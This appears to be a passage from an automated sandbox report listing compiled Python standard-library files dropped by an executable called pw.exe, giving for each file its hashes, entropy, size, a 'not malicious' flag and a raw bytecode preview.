Size (bytes):	2933
Entropy (8bit):	4.854848065704695
Encrypted:	false
SSDEEP:	48:HynPssxfA01vMnCQQDGnvsSZdCztcKcynJyDywm18XQfkt+A7BN5XjyubuOAh:UUshAkuCrGvsqG6PiJyDywmcQq+A7D5a
MD5:	0DE86A9705B502B1AD92C520D2DD5B60
SHA1:	80A84DB57B1C3A5F0BBC94E4733993AF17E3D0CB
SHA-256:	AE383A80EFF0A151FA6127C69EDA6CB5BE04D169DA82B6D49862C7EBE851DA20
SHA-512:	5164E2E0346D3145206A9E7E85C82A462C36A6CD5048D268159619AC09FF35AC58E43B1BF6C29144545CAE9878D258B6B21FA8D5126EDF219175F4CB1F656B48
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d.l.T.d.d.l.m.Z...e...Z.e...d.e.d.d.......e...d.e.d.d.......d.e.v.r0e...d.e.d.d.......d.d...Z.d.d...Z.d.d...Z.e.e.j...d.d.....Z.e.e.j...d.d.....Z.d.e.v.r[e.e.j...d.d.....Z.d.e.v.rhe.e.j...d.d.....Z.d.e.v.rue.e.j...d.d.....Z.d.e.v.r.e.e.j...d.d.....Z.[.[.d.S.)......N)...*)...IntEnum..Signalsc....................C...s(...\|.....r.\|...d...o.\|...d.....p.\|...d...S.).NZ.SIGZ.SIG_Z.CTRL_)...isupper..startswith....name..r......C:\recover\pw\lib\signal.py..<lambda>....s............r......Handlersc....................C........\|.d.v.S.).N)...SIG_DFL..SIG_IGNr....r....r....r....r....r.................pthread_sigmaskZ.Sigmasksc....................C...r....).N).Z.SIG_BLOCKZ.SIG_UNBLOCKZ.SIG_SETMASKr....r....r....r....r....r........r....c....................C...s"...z.\|.\|...W.S...t.y.......\|...Y.S.w.).zsConvert a numeric value to an IntEnum member.. If it's not a known member, return the numeric value itself.. )...ValueError)...value..enum_

C:\recover\pw\lib\pycache\site.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17378
Entropy (8bit):	5.507799353501945
Encrypted:	false
SSDEEP:	384:dlpZTn42l1YP47TUN1PirJtKA5y15/Jgt1nmKQ1ruVhY2lrD9bIhx/xAUu2n8/X1:fL42l+g7TA1Pi9cA015hgt1nmlUvvlrx
MD5:	6A1DE04F1B69A1B35BEAA342F90F71F2
SHA1:	28B81F422AEB132657E7C2BA64D2B0A6CF64A0C8
SHA-256:	7B4A8B2A2AE34A7DD993D71AA87C87DC23060DB50A4C852565DFC00ED0813422
SHA-512:	B3F212CD6ED78C3CE9CC0B76A301F20E8DE132DD89F8931C36E27193B0D6A0166A564A16F0A6FDDA3F93FA738A2D8FBDD496C5E99DDD685E26D6534A21179EEA
Malicious:	false
Preview:	o.........Sg.Z.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.e.j.g.a.d.a.d.a.d.a.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d4d.d...Z.d4d.d ..Z.d!d"..Z.d#d$..Z.d%d&..Z.d'd(..Z.d)d..Z.d+d,..Z d-d...Z!d/d0..Z"e.j#j$s.e"....d1d2..Z%e&d3k.r.e%....d.S.d.S.)5a....Append module search paths for third-party packages to sys.path...**************************************************************. This module is automatically imported during initialization. .***************************************************************..This will append site-specific paths to the module search path. On.Unix (including Mac OSX), it starts with sys.prefix and.sys.exec_prefix (if different) and appends.lib/python<version>/site-packages..On other platforms (such as Windows), it tries each of the.prefixes directly, as well as with lib/site-packages appended. The.resulting directories, if they exist, are appended to

C:\recover\pw\lib\pycache\socket.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	28961
Entropy (8bit):	5.534997797067652
Encrypted:	false
SSDEEP:	768:ytwx29l/P/XkfPdTtaMTCmWwflMCMGYIeM044ZNOLe3:yOxGpQFFCtmlXYIeM05nOy3
MD5:	B41970D69C9098019955EA43A905562A
SHA1:	1659DDE397B2D5387F859581E60978D76E67A7B1
SHA-256:	44A57EBDCE7D30578534A7FAA6F6A7F68AF5F410C6D037290F319111EBA29327
SHA-512:	724951A887542688AF942DD2A5256C35FC066706ED246752540F346E9749E3BBBED05DB1B7977C1D22C8618545D4743B85015CA21668DC8772DCD0E1E2FA74E9
Malicious:	false
Preview:	o.........Sgq........................@...sT...d.Z.d.d.l.Z.d.d.l.T.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...z.d.d.l.Z.W.n...e.y3......d.Z.Y.n.w.e.e.d.d...Z.e.e.d.d...Z.e.e.d.d...Z.g.d...Z.e...e...e.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......e...d.e.d.d.......d.Z.d.Z.d.d...Z.e.j.......d.....r.i.Z.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d <.d!e.d"<.d#e.d$<.d%e.d&<.d'e.d(<.d)e.d*<.d+e.d,<.d-e.d.<.d/e.d0<.d1e.d2<.d3e.d4<.d5e.d6<.d7e.d8<.d9e.d:<.d;e.d<<.d=e.d><.d?e.d@<.dAe.dB<.dCe.dD<.dEe.dF<.dGe.dH<.dIe.dJ<.dKe.dL<.dMe.dN<.dOe.dP<.dQe.dR<.dSe.dT<.dUe.dV<.dWe.dX<.dYe.dZ<.d[e.d\<.d]e.d^<.d_e.d`<.dae.db<.dce.dd<.dee.df<.dge.dh<.die.dj<.dke.dl<.dme.dn<.doe.dp<.dqe.dr<.dse.dt<.due.dv<.dwe.dx<.dye.dz<.d{e.d\|<.d}e.d~<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.d.e.d.<.

C:\recover\pw\lib\pycache\sre_compile.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	15192
Entropy (8bit):	5.605658867260921
Encrypted:	false
SSDEEP:	384:T2z34fmVm0PVclj2zdkPUdGHUawOXL1T6MQwo39h5OjuMxK67zG:T2nV8j8KMdv4h6nwoNDO3xK67zG
MD5:	7C1BB71117573AF3327A0CF0F32693B0
SHA1:	749380AA0DC66A904EBEFFB125AF2EDA9C2825E5
SHA-256:	964467635F473ED4EF1D654D80F14FD1178F573CC308B5CF25EE79C10BFEF091
SHA-512:	2A422B3B05DCFBE378631634F7F460D1CF8914A7F514A57E7073EF672B7CB0CB4F8B0C0919AED3BEB4B249861E7E8A8C61FA50BBB8C816D37E24F2D13E5557AE
Malicious:	false
Preview:	o.........Sgmp.......................@...s$...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.T.e.j.e.k.s.J.d.....e.e.h.Z.e.e.e.h.Z.e.e.h.Z.e.e.h.Z.e.e.e.h.B.Z.d.Z.d.d...e.D...Z.e.j.f.d.d...Z.d.d...Z.d.d...Z.d-d.d...Z.e.j.d...Z.d.e.>.d...Z.d.Z.e.e f.d.d...Z!d.d...Z"d.d...Z#d.d...Z$d.d...Z%d.d...Z&d.d ..Z'd!d"..Z(d#d$..Z)d%d&..Zd'd(..Z+d)d..Z,d.d+d,..Z-d.S.)/z.Internal support module for sre.....N)...*z.SRE module mismatch).)..i...i1...)..s...i....).....i....).iE...i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i....i....).i2...i....).i4...i....).i>...i....).iA...i....).iB...i....i....).iJ...i....).ic...i....).i....iK...).ia...i....).i....i....c........................s....i.\|.].}.\|.D.].....t...f.d.d...\|.D.......q.q.S.).c....................3...s......\|.].}...\|.k.r.\|.V...q.d.S...N..)....0..j....ir..... C:\recover\pw\lib\sre_compile.py..<genexpr>N...s........z.<dictcomp>.<genexpr>)...tuple).r......tr....r....r......<dictcomp>N...s....

C:\recover\pw\lib\pycache\sre_constants.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	6355
Entropy (8bit):	5.77158068597052
Encrypted:	false
SSDEEP:	192:D7jrG4iQ2AaI2Ym9XqQBI1I1dadE1ff7l17mwvYhaSEZ84C:DM92IdNfT6E8
MD5:	F3578B44295821445F868547EB136C26
SHA1:	88C67DCBC91857A0C24A0F7944489026567C0BE6
SHA-256:	E6FA609B3D9E71018CBD1B1948A78468F7E6F13742ACE80F96E71D852998ED77
SHA-512:	71BB8758D92701480E66CCD2894A1DE8C1DD5BE2278C022908444ED1859B3290B8C6F2D8A1CF54FFE3FF78905B2FBE41F1942DCA628A6B31152834F52A69AEC0
Malicious:	false
Preview:	o.........Sg.........................@...s^...d.Z.d.Z.d.d.l.m.Z.m.Z...G.d.d...d.e...Z.G.d.d...d.e...Z.e.e.d...Z.d.d...Z.e.d...Z.e.d.d...=.e.d...Z.e.d...Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e.i.Z.e.e.e.e i.Z!e.e"e.e#i.Z$e%e%e&e&e'e'e(e(e)ee+e,e-e-e.e.i.Z/e%e0e&e1e'e2e(e3e)e4e+e5e-e6e.e7i.Z8d.Z9d.Z:d.Z;d.Z<d.Z=d.Z>d.Z?d.Z@d.ZAd.ZBd.ZCd.ZDeEd.k...r-d.d...ZFeGd.d....zZHeH.Id.....eH.Id.e.......eFeHe.d ....eFeHe.d!....eFeHe.d!....eH.Id"e9......eH.Id#e:......eH.Id$e;......eH.Id%e<......eH.Id&e=......eH.Id'e>......eH.Id(e?......eH.Id)e@......eH.IdeA......eH.Id+eB......eH.Id,eC......eH.Id-eD......W.d.........n.1...s"w.......Y...eJd.....d.S.d.S.)/z.Internal support module for srei..3......)...MAXREPEAT..MAXGROUPSc........................s&...e.Z.d.Z.d.Z.d.Z.d...f.d.d...Z.....Z.S.)...errorai...Exception raised for invalid regular expressions... Attributes:.. msg: The unformatted error message. pattern: The regular expression pattern. pos: The index in the pattern

C:\recover\pw\lib\pycache\sre_parse.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	21753
Entropy (8bit):	5.5934942485201296
Encrypted:	false
SSDEEP:	384:3iY5DWum7nnQBcNr5ZjTL2xsP6HeYHfS/l2b7tAu9o23kZAt2umjtU30TezUpPB9:3ie5K2I6+YKd2b7tX3AAt2usyUx0lI
MD5:	A5E79567D6A585BB7AC1CF9F95BBEA6F
SHA1:	FE6DF4E106994D97084009B22A10ABA98404B5A8
SHA-256:	07EF096349451F2DA1C2BB855A3E83D29FCB38E88444F33A807455D63ABE5382
SHA-512:	6B82EB80877FACC10138857112DE2AD71C5029CD0745594BF31B27E8FEEFC73CF393D36DD8DAA8D83B212482C66B58EAA1EC280AE232B35D26F6A15A63BE0FC8
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.T.d.Z.d.Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.e.e.h...Z.e.e.e.e.e.e.e.h...Z.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.e.e.d...f.d...Z.e.e.f.e.e.f.e.e.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e.e.f.g.f.e.e f.d...Z!e"e#e$e%e&e'e(e)d...Ze'e#B.e)B.Z+e,e(B.Z-G.d.d...d.e...Z/G.d.d...d...Z0G.d.d...d...Z1G.d.d...d...Z2d.d...Z3d.d ..Z4d!d"..Z5d#d$..Z6d3d&d'..Z7d(d)..Z8dd+..Z9d4d-d...Z:d/d0..Z;d1d2..Z<d,S.)5z.Internal support module for sre.....)...z..\[{()+?^$\|z.*+?{Z.0123456789Z.01234567Z.0123456789abcdefABCDEFZ4abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZz. ............................\).z.\a..\bz.\fz.\nz.\rz.\tz.\vz.\\).z.\Ar....z.\Bz.\dz.\Dz.\sz.\Sz.\wz.\Wz.\Z)...i..L..m..s..x..a..t..uc....................@...s....e.Z.d.Z.d.S.)...VerboseN)...__name__..__module__..__qualname__..r....r......C:\recover\pw\lib\sre_parse.pyr....G...s........r....c....................@...sB

C:\recover\pw\lib\pycache\ssl.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	44818
Entropy (8bit):	5.569168415204495
Encrypted:	false
SSDEEP:	768:v653tgqriJVJd4LRmQPAMN4FM81OVgTkezQn9FB:v63tB2JDy9T9NCU8dEnbB
MD5:	8C33A37D34DCBA5285ED6540CC60748A
SHA1:	0A820FD40D8F74438794653AD4D886D9076A1977
SHA-256:	A56863BFEF019364C7EBE16D0A8571ADAF9FB3F41AE3B70958099DE4A7A6B474
SHA-512:	897C7BA5BC22F75B1728F3785088DC0F719AF28BB200A7D3CBB538B65A9F050015D2A280B76173E144B9318ECB467D175A58FB5DD5B487F88D55E29D3C69D233
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m Z m!Z!..z.d.d.l.m"Z"..W.n...e#yi......Y.n.w.d.d.l.m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)mZm+Z+m,Z,m-Z-..d.d.l.m.Z.m/Z/..e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e.j0d.e1d.d...e.d.....e2j3..Z4e2_4d.d...e2j5.6..D...Z7e8e2d.d...Z9G.d.d...d.e...Z:G.d d!..d!e...Z;G.d"d#..d#e...Z<G.d$d%..d%e...Z=e.j>d&k...r.d.d'l.m?Z?m@Z@..d.d(lAmAZAmBZBmCZC..d.d)lAmDZDmEZEmFZF..d.d.lAZGd.d.lHZHd.d.lIZId.d.lJZJeKZLd*g.ZMeNe.d+..ZOe.ZPe.ZQd,d-..ZRd.d/..ZSd0d1..ZTd2d3..ZUe.d4d5..ZVd6d7..ZWG.d8d9..d9e.d9d:....ZXG.d;d<..d<eXe...ZYG.d=d>..d>e...ZZeYj[f.d.d.d.d?..d@dA..Z\d[e]dBeYj[d.d.d.d.d.dC..dDdE..Z^e\Z_e^Z`G.dFdG..dG..ZadHdI..ZbG.dJdK..dKeA..ZceceZ_deaeZ_ed.d.dBe]e3d.dLdLd.f.dMdN..ZfdOdP..ZgdQZhdRZidSdT..ZjdUdV..Zkeld.eFf.dWdX..ZmdYdZ..Znd.S.)\

C:\recover\pw\lib\pycache\stat.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4271
Entropy (8bit):	5.533861742557895
Encrypted:	false
SSDEEP:	96:4n/f+60wN3EXHHp/aowjk0wBoCAEFXOrW6QBeABPl:4eRy3EXRBwjk0w+CFXefQBT
MD5:	C2AC2E73EB766208EE185120276B4E88
SHA1:	B3ED03C18D54C04C90688135A1F59BDBE21E842A
SHA-256:	A5650C687A8BF5EC2A91A51B7238DF6472481F2F6618115D39D353CF4D0E4F87
SHA-512:	97EE98411A70B0ADBA39897FB4C11AC810230B440CF137C86B6BBFDFC65832E8706B7825845E33A9A722AD157D61963F60F6BD9C1CF2C895CBEF4AE83E20455E
Malicious:	false
Preview:	o.........Sg0........................@...sJ...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z dZ!d+Z"e"Z#d,Z$d-Z%d.Z&d/Z'd0Z(d-Z)d.Zd/Z+d1Z,d2Z-d3Z.d.Z/d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5d.Z6d.Z7d3Z8d2Z9d.Z:d4Z;d5Z<d6Z=d7Z>d8Z?e.d9f.e.d:f.e.d;f.e.d<f.e.d=f.e.d>f.e.d?f.f.e)d@f.f.edAf.f.e+e!B.d:f.e!dBf.e+dCf.f.e-d@f.f.e.dAf.f.e/e"B.d:f.e"dBf.e/dCf.f.e1d@f.f.e2dAf.f.e3e$B.dDf.e$dEf.e3dCf.f.f.Z@dFdG..ZAd2ZBdZCd/ZDd3ZEd.ZFd.ZGd.ZHd.ZId.ZJd5ZKd.ZLd.ZMd+ZNd,ZOd.ZPd-ZQd4ZRz.d.dHlST.W.dIS...eT..y$......Y.dIS.w.)JzoConstants/functions for interpreting results of os.stat() and os.lstat()...Suggested usage: from stat import *...................................................c....................C........\|.d.@.S.).zMReturn the portion of the file's mode that can be set by. os.chmod().. i..........moder....r......C:\recover\pw\lib\stat.py..S_IMODE...........r....c......

C:\recover\pw\lib\pycache\string.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7100
Entropy (8bit):	5.384618191051775
Encrypted:	false
SSDEEP:	192:CLetNTT8n3lJcsGpTeWD3EDNmO2vja68/2s4li6lu:pbTT8n1vGpT/O2vja68/x4limu
MD5:	E431529905B6813B798B863A1829945E
SHA1:	A43DE05960B826CBFD6372CBED47C1F394DE39B3
SHA-256:	0FC8DA1BAD727E79C164DC79CE4A8C4466D1BD2B4C0147C06993A54FEC7EE5D5
SHA-512:	2B29DD199BAD342AAC5279AA21A95CE5115BE68648F30D43F8C09EC2C8BD1FB254ED82459DC202C520A2EF67AF78335A3DAAD345273E643DE3C798385A1BD5B4
Malicious:	false
Preview:	o.........Sg^*.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.Z.d.Z.d.Z.e.e...Z.d.Z.e.d...d...Z.d.Z.d.Z.e.e...e...e...Z.d.d.d...Z.d.d.l.Z.d.d.l.m.Z...i.Z.G.d.d...d...Z.e.......G.d.d...d...Z.d.S.).an...A collection of string constants...Public module variables:..whitespace -- a string containing all ASCII whitespace.ascii_lowercase -- a string containing all ASCII lowercase letters.ascii_uppercase -- a string containing all ASCII uppercase letters.ascii_letters -- a string containing all ASCII letters.digits -- a string containing all ASCII decimal digits.hexdigits -- a string containing all ASCII hexadecimal digits.octdigits -- a string containing all ASCII octal digits.punctuation -- a string containing all ASCII punctuation characters.printable -- a string containing all ASCII characters considered printable..)...ascii_letters..ascii_lowercase..ascii_uppercase..capwords..digits..hexdigits..octdigits..printable..punctuation..whitespace..Formatter..Template.....Nz. .....Z.abcdefg

C:\recover\pw\lib\pycache\stringprep.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	17073
Entropy (8bit):	5.6903504184239
Encrypted:	false
SSDEEP:	384:aORubSi/2orlL7qOf9dzA3gfqtv+ScNDMepN9WDnuxb3rOyb5:aOkbSi+ork29JlqtvtcNoepN9Wzra
MD5:	6B89074312016CB0738038FD28610F54
SHA1:	2A332101BFB80D33BCE568BC02ECABB4C6A60CDC
SHA-256:	89DD8901900EFB8BDE058065292E6162FFE6C0B6A8497A83F81BC2B19D207F7E
SHA-512:	88683263A738D532CCAAD172CEAEB19F516D3CB20F11623B4DE429DDE045ABAB594E2038B37A31F5F6C3CA44F318ACA4A57659FB92A183951A83ADA6BD90E2CA
Malicious:	false
Preview:	o.........Sg.3.......................@...s....d.Z.d.d.l.m.Z...e.j.d.k.s.J...d.d...Z.e.g.d...e.e.d.d.........Z.d.d...Z.i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d ..d!d"..d#d$..d%d&..d'd(..d)d*..d+d,..i.d-d...d/d0..d1d2..d3d ..d4d5..d6d7..d8d9..d:d;..d<d=..d>d?..d@dA..dBdC..dDdE..dFdG..dHdI..dJdK..dLdM....i.dNdO..dPdQ..dRdS..dTdU..dVdW..dXdY..dZd[..d\dM..d]dO..d^dQ..d_dS..d`dU..dadW..dbdY..dcd[..ddde..dfdg....i.dhdi..djdk..dldm..dndo..dpdq..drds..dtde..dudg..dvdi..dwdk..dxdm..dydo..dzdq..d{ds..d\|d}..d~d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d}..d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d...d.d.....i.d.d...d.d...d.d...d.d...d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d....i.d.d..d.d..d.d..d.d..d.d...d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d..d.d.....i.d.d...d.d...d.d...d.d...d.d...d.d.

C:\recover\pw\lib\pycache\struct.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.97846527336519
Encrypted:	false
SSDEEP:	6:y/6haextfvXhzYXcCuYKvg6FraMaVkoopngmIRK//Zkn:CKxt35YXcaKvjFrDaVkoegG/Zkn
MD5:	F31272304AB39EF63DDA13B25040B17C
SHA1:	A1F44E72AA24D62382C46102288CA9E71D2258CE
SHA-256:	A2DC2683E423B95F23DE23EABBB6991DA789C4A524F195ADB3659D457CC927B6
SHA-512:	2A395F656D33C160522E0C3C3E19DEC79DC187E75A048DF764517ECFC4F36D1FC36C511A31C0648DD36A55F4EA6838FB00C379A6B710C190B00A2AE03BC21403
Malicious:	false
Preview:	o.........Sg.........................@...s,...g.d...Z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.S.).).Z.calcsize..packZ.pack_into..unpackZ.unpack_fromZ.iter_unpack..Struct..error.....)...*)..._clearcache)...__doc__N)...__all__Z._structr....r......r....r......C:\recover\pw\lib\struct.py..<module>....s............

C:\recover\pw\lib\pycache\subprocess.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	44739
Entropy (8bit):	5.608372210872316
Encrypted:	false
SSDEEP:	768:4u0RXvVDf8N6wQVIGcx35LU1w2mDQkW4Oc+clEJn7Zk199DNSauyP4W3ggSegvc7:n0RXvhsjUeV0kzD+clEoSauLWeOQZcp
MD5:	F895B81B5DA13135B2BE368A4FAAE1EB
SHA1:	1DCB847BE69B96B5E88F0A3E89EA5C99AA1A2B91
SHA-256:	A77BF23280AE14FFDEE070C7FB76ABA9E2924DCDFF127B33C58A09FEE6FEB69E
SHA-512:	C694BCE65DD12DB9A89F4C44DF024E510D0ACB1FCC2D6C9495A0D287AB829101ED2302C76CF21EC2E5AB1E23B3710878C54BF9260A3AA5E735E023DA9F025585
Malicious:	false
Preview:	o.........Sg.S.......................@...sp...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.z.d.d.l.Z.W.n...e.yE......d.Z.Y.n.w.g.d...Z.z.d.d.l.Z.d.d.l.Z.d.Z.W.n...e.ym......d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.Y.n0w.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)..e..g.d.......G.d.d...d.e+..Z,G.d.d...d.e,..Z-G.d.d...d.e,..Z.e.r.G.d.d...d...Z/G.d.d...d.e0..Z1n.e2e.d.d...Z3e4e.d...r.e.j5Z6n.e.j7Z6e.r.d.Z8d.d...Z9n.g.Z8d.d...Z9d.Z:d.Z;d.Z<d.d...Z=d.d...Z>d.d ..d!d"..Z?d#d$..Z@d.d ..d%d&..ZAG.d'd(..d(eB..ZCd.d.d.d.d)..dd+..ZDd,d-..ZEd.d/..ZFd0d1..ZGd2d3..ZHeH..ZId.ZJG.d4d5..d5..ZKd.S.)6a....Subprocesses with accessible I/O streams..This module allows you to spawn processes, connect to their.input/output/error pipes, and obtain their return codes...For a complete description of this module see the Python documentation...Main API.========.run(...): Runs a command, waits for it to complete, then returns a.

C:\recover\pw\lib\pycache\tempfile.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	24062
Entropy (8bit):	5.281108698019095
Encrypted:	false
SSDEEP:	384:wGeOPQ/N1bmiY+HWkXkONXPVlMyNwfUC9Nrz/Stjtb7hLBx3/Tds5Vp:PeA81bminY0XPVmyNwM8NPqJ7Zb7ds5T
MD5:	95FE6AD665972F9DA3AE5EFF89A3BF48
SHA1:	17F29CEEAB932EEC2821754B0F7E447FF11195F9
SHA-256:	51E0300E4DC2C5F3CC5A73E13F95DDC8D64F64CE3E7BCB43389E783843E44A54
SHA-512:	4EF0D1152D6A65A845BD04CCCFC328F75FB5CDCBD254AE88F5257E7F9103BEEF80B3898B648772E071A5F084CDC33F87120D527CF210FFD4EA3A6BCF5566801B
Malicious:	false
Preview:	o.........Sgku.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.Z.e.j.e.j.B.e.j.B.Z.e.e.d...rJe.e.j.O.Z.e.Z e.e.d...rVe e.j!O.Z e.e.d...r_e.j"Z"n.d.Z"d.Z#e...Z$d.d...Z%d.d...Z&d.d...Z'G.d.d...d...Z(d.d...Z)d.d...Zd.a+d.d...Z,d.d...Z-d.d...Z.d.d...Z/d.a0d.d...Z1d d!..Z2d"d#..Z3d?d%d&..Z4d@d'd(..Z5d)e#d.f.dd+..Z6G.d,d-..d-..Z7G.d.d/..d/..Z8.....2dAd.d3..d4d5..Z9e.j:d6k.s.e.j;d7k.r.e9Z<n.e.e.d8..a=......dBd.d3..d9d:..Z<G.d;d<..d<..Z>G.d=d>..d>..Z?d.S.)Ca....Temporary files...This module provides generic, low- and high-level interfaces for.creating temporary files and directories. All of the interfaces.provided by this module can be used without fear of race conditions.except for 'mktemp'. 'mktemp' is subject to race conditions and.should not be used; it is provided for backward compatibility only...The default path names are returned as str. If you supply bytes as.input, all return values will b

C:\recover\pw\lib\pycache\textwrap.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	13810
Entropy (8bit):	5.336981506895657
Encrypted:	false
SSDEEP:	384:+B47dcTOzzlFEYKRuPSzqjNGmwImkWf8FBQ:+B47dLF/5JNG5MkkBQ
MD5:	DEA7C3087C9B3CD7143394682CCB7C2A
SHA1:	E396BEE8C236D77D4BAA5897804508D37D2C1739
SHA-256:	7284F4D4814C111344DDE73D7EDE9BAD710A059869DC93010B84D387ED748B32
SHA-512:	9F23D1FE59267899BEF9AECC787C9DB24C390FF17C4788B578D9D1C7926FF77C8EDB6F802BD8AE6CBEEC015327BCCAA8CE2FEB034F19E7D3935F36CE75DB9267
Malicious:	false
Preview:	o.........Sg*O.......................@...s....d.Z.d.d.l.Z.g.d...Z.d.Z.G.d.d...d...Z.d.d.d...Z.d.d.d...Z.d.d...Z.e...d.e.j...Z.e...d.e.j...Z.d.d...Z.d.d.d...Z.e.d.k.rDe.e.d.......d.S.d.S.).z.Text wrapping and filling.......N)...TextWrapper..wrap..fill..dedent..indent..shortenz...... c....................@...s....e.Z.d.Z.d.Z.i.Z.e.d...Z.e.D.].Z.e.e.e.e...<.q.d.Z.d.Z.d.e...e.....Z.d.e.d.d.......Z.e...d.e.e.e.e.d.....e.j...Z.[.[.[.e...d.e.....Z.[.e...d...Z.....................d&d.d.d...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d.S.)'r....a..... Object for wrapping/filling text. The public interface consists of. the wrap() and fill() methods; the other methods are just there for. subclasses to override in order to tweak the default behaviour.. If you want to completely replace the main wrapping algorithm,. you'll probably have to override _wrap_chunks()... Several instance attributes control various aspects of wrapping:. width (default:

C:\recover\pw\lib\pycache\threading.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	44967
Entropy (8bit):	5.171420484126245
Encrypted:	false
SSDEEP:	768:J1e/MIxOwAgbSGxwbNNo+rkPsXj16a1Zmi8Y2S41QrTrWOnO89x+6Lc/QpZ2efn0:JQ/8Zf2lbPs/v612aOJ/46PeaBATiI/z
MD5:	2E617F237EAADDEE8DB294D6FDF6B879
SHA1:	D6AEF13B1F99CB0E0680624C73C7C627CBF32C47
SHA-256:	6625B8EA0E79D207F533BCAA5A4F89B5E1A0E254138AE08E1D5806442A273983
